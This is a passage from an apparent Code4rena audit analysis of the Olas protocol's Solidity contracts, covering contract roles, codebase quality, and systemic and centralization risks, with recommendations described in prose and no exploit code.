- **FxGovernorTunnel.sol:** The contract is implementing the `IFxMessageProcessor` interface, serving as a child tunnel bridge for processing messages from the `root` network, featuring functions for receiving native network tokens, changing the Root Governor address, and processing messages with specified validations.
- **HomeMediator.sol:** The contract is serving as a mediator for a bridge between the foreign (L1) and home (L2) networks, implementing functions for receiving native network tokens, changing the Foreign Governor address, and processing messages with specified validations, particularly interacting with the AMB Contract Proxy (Home) on the home network.
- **FxERC20ChildTunnel.sol:** Manage bridged ERC-20 tokens between Layer2 and Layer1 Ethereum networks, facilitating token deposits, withdrawals.
- **FxERC20RootTunnel.sol:** Manage bridged ERC-20 tokens between Layer1 and Layer2 Ethereum networks, facilitating token withdrawals, deposits.

Registries contracts

- **GenericRegistry.sol:** This contract is utilizing ERC-721 standard for managing unique units with ownership and manager roles, supporting operations such as changing ownership, setting a base URI, and providing functions for unit existence and token URI generation.
- **UnitRegistry.sol:** Designed for registering and managing generalized units or entities with distinct Unit Types (e.g., Component or Agent), supporting creation, updates, and queries of these units with associated dependencies and IPFS CID hashes.
- **ComponentRegistry.sol:** Designed for registering and managing components with specific functionalities, including checking dependencies and obtaining subcomponents based on a linearized map.
- **AgentRegistry.sol:** Designed for registering and managing agents with specific functionalities, including checking dependencies against a Component Registry and obtaining subcomponents based on the unit type.
- **GenericManager.sol:** The contract is representing a generic manager template with functionalities for changing ownership, pausing, and unpausing the contract, designed

to be extended for specific registry management purposes.

- **RegistriesManager.sol:** This contract is serving as a periphery manager for creating and updating components and agents, utilizing two distinct registry contracts for components and agents while inheriting generic management functionalities.
- **GnosisSafeMultisig.sol:** The contract is a Solidity smart contract that facilitates the creation of Gnosis Safe multisignature wallets, allowing users to deploy a Gnosis Safe with customized parameters such as owners, threshold, and optional payment details, utilizing a Gnosis Safe proxy factory.

Tokenomics contracts

- **Depository.sol:** This contract is implementing an OLAS Bond Depository, allowing users to create and redeem bonds with specified vesting periods and OLAS token rewards, while managing various bond products with unique characteristics and limitations.
- **Dispenser.sol:** Designed for distributing incentives to the owner of components/agents, with functions to claim rewards and top-ups based on specified unit types and IDs, utilizing a tokenomics contract and treasury contract for incentive calculations and fund transfers.
- **DonatorBlacklist.sol:** The contract allows the owner to manage blacklisting statuses for donator addresses, with functions to change the owner, set blacklisting statuses for multiple accounts, and check the blacklisting status of a specific account.
- **GenericBondCalculator.sol:** GenericBondCalculator facilitates the calculation of OLAS token payouts based on a bonding mechanism utilizing UniswapV2 LP tokens, with safeguards against overflow and zero addresses, and includes functions to determine the current OLAS/totalSupply ratio for LP tokens.
- **Tokenomics.sol:** This contract is a tokenomics logic designed to manage the inflation and reward mechanisms for OLAS tokens, considering both ETH and OLAS tokens. The contract defines structures for unit points, epoch points, and tokenomics points, each containing various parameters related to rewards, top-ups, and tokenomics calculations. It sets limits on various variables, such as total supply, time, and coefficients, and specifies the maximum duration. The contract also includes functions for initializing and updating tokenomics parameters, changing the owner, managing various contract addresses, and adjusting incentive fractions, reserving and refunding amounts for bond programs, finalizing epoch incentives for specific components or agent IDs, tracking service donations, and performing epoch-based checkpoints to update tokenomics parameters and distribute rewards.
- **Treasury.sol:** The contract manages the OLAS Treasury. It handles various functionalities, including receiving ETH and OLAS tokens, depositing LP tokens for OLAS, withdrawing funds to specified addresses, updating treasury balances, and

managing token-related operations such as enabling/disabling tokens for bonding with OLAS. The contract also includes mechanisms for handling service donations in ETH, rebalancing treasury funds for a specific epoch, and draining slashed funds from the service registry.

Roles

Roles in the provided smart contract ("Treasury") are generally associated with different addresses or entities that have specific permissions or responsibilities. Here are the roles and their associated functionalities in the contract:

1. Owner:

- Address: `owner`
- Role: The owner has special privileges and can perform critical actions such as changing the owner address, updating managing contract addresses (tokenomics, depository, dispenser), changing the minimum accepted ETH amount, enabling/disabling tokens, and pausing/unpausing the contract.

2. Depository Manager:

- Address: `depository`
- Role: The depository manager has permission to call the `depositTokenForOLAS` function, allowing them to deposit LP tokens for OLAS. This role is restricted to the depository address.

3. Dispenser Manager:

- Address: `dispenser`
- Role: The dispenser manager has permission to call the `withdrawToAccount` function, allowing them to withdraw ETH and OLAS amounts to a specified account. This role is restricted to the dispenser address.

4. Tokenomics Manager:

- Address: `tokenomics`
- Role: The tokenomics manager has permission to call functions related to rebalancing treasury funds (`rebalanceTreasury`) and draining slashed funds from the service registry (`drainServiceSlashedFunds`). This role is restricted to the tokenomics address.

5. Service Registry:

- Address: The service registry is managed by the `IServiceRegistry` interface, and certain functions in the contract interact with it to drain slashed funds.

6. Service Donors:

- Address: Any account that calls the `depositServiceDonationsETH` function.

- Role: Entities that donate ETH to the services specified in the `serviceIds` array. This action helps fund services in the ecosystem.

These roles are defined by the contract's access control mechanisms, and certain functions can only be executed by specific addresses to ensure proper authorization and security.

Approach Taken-in Evaluating The Olas Protocol

Accordingly, I analyzed and audited the subject in the following steps;

1. Core Protocol Contract Overview:

I focused on thoroughly understanding the codebase and providing recommendations to improve its functionality. The main goal was to take a close look at the important contracts and how they work together in the Olas Protocol.

I start with the following contracts, which play crucial roles in the Olas protocol:

```
GovernorOLAS.sol
OLAS.sol
veOLAS.sol
wveOLAS.sol
GuardCM.sol
GenericRegistry.sol
UnitRegistry.sol
Depository.sol
Dispenser.sol
Tokenomics.sol
Treasury.sol
```

I started my analysis by examining the foundational governance contracts, such as `GovernorOLAS.sol` which define the core mechanisms for proposing and executing governance actions in the Olas protocol. Subsequently, I delved into the token-related contracts, including `OLAS.sol`, `veOLAS.sol`, and others, to understand the intricacies of the tokenomics and voting systems. Additionally, I scrutinized the registry contracts, such as `GenericRegistry.sol` and its specialized counterparts, which play a crucial role in managing units, components, and agents within the protocol. The multisig and bridge-related contracts, such as `GuardCM.sol`, `FxGovernorTunnel.sol`, `HomeMediator.sol`, `FxERC20ChildTunnel.sol`, and `FxERC20RootTunnel.sol`, were also thoroughly examined to ensure the secure flow of information and assets between different networks. Lastly, I scrutinized the tokenomics contracts, including `Depository.sol`, `Dispenser.sol`, `DonatorBlacklist.sol`, `GenericBondCalculator.sol`, `Tokenomics.sol`, and `Treasury.sol`, which collectively govern the inflation, reward mechanisms, and treasury management for

OLAS tokens. This comprehensive analysis provides a holistic understanding of the OIas protocol and its underlying functionalities.

24. Documentation Review:

Then went to review [these docs](#) for a more detailed and technical explanation of OIas protocol.

25. Compiling code and running provided tests:

26. **Manuel Code Review** In this phase, I initially conducted a line-by-line analysis, following that, I engaged in a comparison mode.

- **Line by Line Analysis:** Pay close attention to the contract's intended functionality and compare it with its actual behavior on a line-by-line basis.
- **Comparison Mode:** Compare the implementation of each function with established standards or existing implementations, focusing on the function names to identify any deviations.

Codebase Quality

Overall, I consider the quality of the OIas protocol codebase to be Good. The code appears to be mature and well-developed. We have noticed the implementation of various standards adhere to appropriately. Details are explained below:

Codebase Quality Categories and Comments

Code Maintainability and Reliability - The OIas Protocol contracts demonstrates good maintainability through modular structure, consistent naming, and efficient use of libraries. It also prioritizes reliability by handling errors, conducting security checks. However, for enhanced reliability, consider professional security audits and documentation improvements. Regular updates are crucial in the evolving space.

Code Comments - During the audit of the OIas contracts codebase, I found that some areas lacked sufficient internal documentation to enable independent comprehension. While comments provided high-level context for certain constructs, lower-level logic flows and variables were not fully explained within the code itself. Following best practices like NatSpec could strengthen self-documentation. As an auditor without additional context, it was challenging to analyze code sections without external reference docs. To further understand implementation intent for those complex parts, referencing supplemental documentation was necessary.

Documentation - The documentation and Whitepaper of the OIas project is quite comprehensive and detailed, providing a solid overview of how OIas protocol is structured and how its various aspects function. However, we have noticed that there is room for additional details, such as diagrams, to gain a deeper understanding of how different

contracts interact and the functions they implement. With considerable enthusiasm. We are confident that these diagrams will bring significant value to the protocol as they can be seamlessly integrated into the existing documentation, enriching it and providing a more comprehensive and detailed understanding for users, developers and auditors.

Testing - The audit scope of the contracts to be audited is governance: 98.72%, tokenomics: 100%, registries: 100%, lockbox-solana: methods 100% this is Good.

Code Structure and Formatting - The codebase contracts are well-structured and formatted. but some order of functions does not follow the Solidity Style Guide According to the Solidity Style Guide, functions should be grouped according to their visibility and ordered: constructor, receive, fallback, external, public, internal, private. Within a grouping, place the view and pure functions last.

Error - Use custom errors, custom errors are available from solidity version 0.8.4. Custom errors are more easily processed in try-catch blocks, and are easier to re-use and maintain.

Imports - In Olas protocol the contract's interface should be imported first, followed by each of the interfaces it uses, followed by all other files. 2. openzeppelin contracts updated to a newer version.

Systemic & Centralization Risks

The analysis provided highlights several significant systemic and centralization risks present in the Olas protocol. These risks encompass concentration risk in GovernorOLAS, OLAS risk and more, third-party dependency risk, and centralization risks arising.

Here's an analysis of potential systemic and centralization risks in the contracts:

Systemic Risks:

1. The `veOLAS.sol` contract implements time-weighted votes with linear decay over time. Systemic risks may arise if the chosen decay function does not align with the protocol's long-term goals or if users exploit potential vulnerabilities in the decay calculation.
2. The `wveOLAS.sol` contract uses user points stored in an array (`getUserPoint`). It's crucial to ensure that array indices are within bounds to prevent out-of-bounds access vulnerabilities.
3. The function `wveOLAS.sol::lockedEnd` provides the lock end time for a given account. Any miscalculation or manipulation of the lock end time could have systemic implications for the token's functionality.
4. The `HomeMediator` handles external calls in a loop through the `processMessageFromForeign` function. While it uses the low-level call `(target.call{value: value}(payload))`, which mitigates reentrancy risks to some

extent, it is essential to ensure that external contracts called within this loop are also secure against reentrancy, DOS attacks and out-of-gas vulnerabilities.

5. The `mint` and `burn` functions in `BridgedERC20` contract perform important token-related actions, but there are no corresponding events emitted to notify external systems or users about these operations.
6. The `bondCounter` is used to assign unique IDs to bonds in `Depository` contract. If the contract creates a very large number of bonds, there is a risk of the `uint32` `bondCounter` overflowing. It's advisable to implement mechanisms to handle a potential overflow, such as resetting or upgrading the contract.
7. The `getCurrentPriceLP` function retrieves reserves in `GenericBondCalculator` contract without checking if the Uniswap pair exists or if it has sufficient liquidity. This might lead to unexpected behavior if used with invalid or empty pairs.
8. The inflation calculations assume certain rates and limitations. Any unexpected changes in these rates, especially related to OLAS tokens, could have significant consequences on the tokenomics.
9. The `Treasury.sol` contract makes assumptions about the total supply of ETH and OLAS tokens, including estimates of the time it would take to reach certain supply limits. These assumptions may become inaccurate over time, especially in dynamic markets.

Centralization Risks:

1. The `GovernorOLAS.sol::_executor` function returns a single address. If this executor has excessive control or is a single entity, it introduces centralization risks during proposal execution.
2. The `OLAS.sol::inflationControl` function checks if the requested mint amount is within inflation boundaries based on the supply cap. The inflexibility of this mechanism might not allow for dynamic adjustments, leading to potential centralization of inflation control.
3. The `veOLAS.sol` contract allows scheduled changes in slope values, potentially controlled by the contract deployer. Misuse or centralized control over slope changes may impact the fairness and decentralization of the protocol.
4. If the `IVEOLAS` contract has governance features, the centralization of governance control could be a risk. This may lead to decision-making power being concentrated in the hands of a few entities, potentially undermining decentralization principles.
5. The `GuardCM.sol` relies on a specific proposal (`governorCheckProposalId`) being in a defeated state to allow certain actions. Depending on how this proposal is created and voted on, it could introduce centralization risks.

6. The `FxGovernorTunnel::changeRootGovernor` function allows changing the `rootGovernor` address. The authority to change this address is centralized in the contract and depends on the condition (`msg.sender != address(this)`), allowing only the contract itself to initiate the change.
7. The contract allows the owner to change various tokenomics parameters. Depending on how these changes are executed, it might introduce risks related to central control over the economic aspects of the system.

Properly managing these risks and implementing best practices in security and decentralization will contribute to the sustainability and long-term success of the Olas protocol.

Conclusion

In general, The Olas protocol presents a well-designed architecture. The Olas protocol exhibits strengths comprehensive testing, and detailed documentation, we believe the team has done a good job regarding the code. However, there are areas for improvement, including governance features, profit distribution optimization, and code documentation. Systemic risks include initial governance role assignment and dynamic proposal generation, while centralization risks involve certain contracts and functions. Recommendations include enhancing governance features, optimizing profit distribution, improving documentation, addressing systemic risks, and mitigating centralization risks. It is also highly recommended that the team continues to invest in security measures such as mitigation reviews, audits, and bug bounty programs to maintain the security and reliability of the project.

[kupermind \(Olas\) acknowledged](#)

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Please note: Code4rena is an organization that puts learning at the forefront of everything we do. Our rules and processes continue to develop over time, and older reports may reflect previous iterations of these rules and processes. For a more current representation of

Code4rena's severity standardization rules and comprehensive judging criteria, we recommend browsing the reports from C4's most recent audits.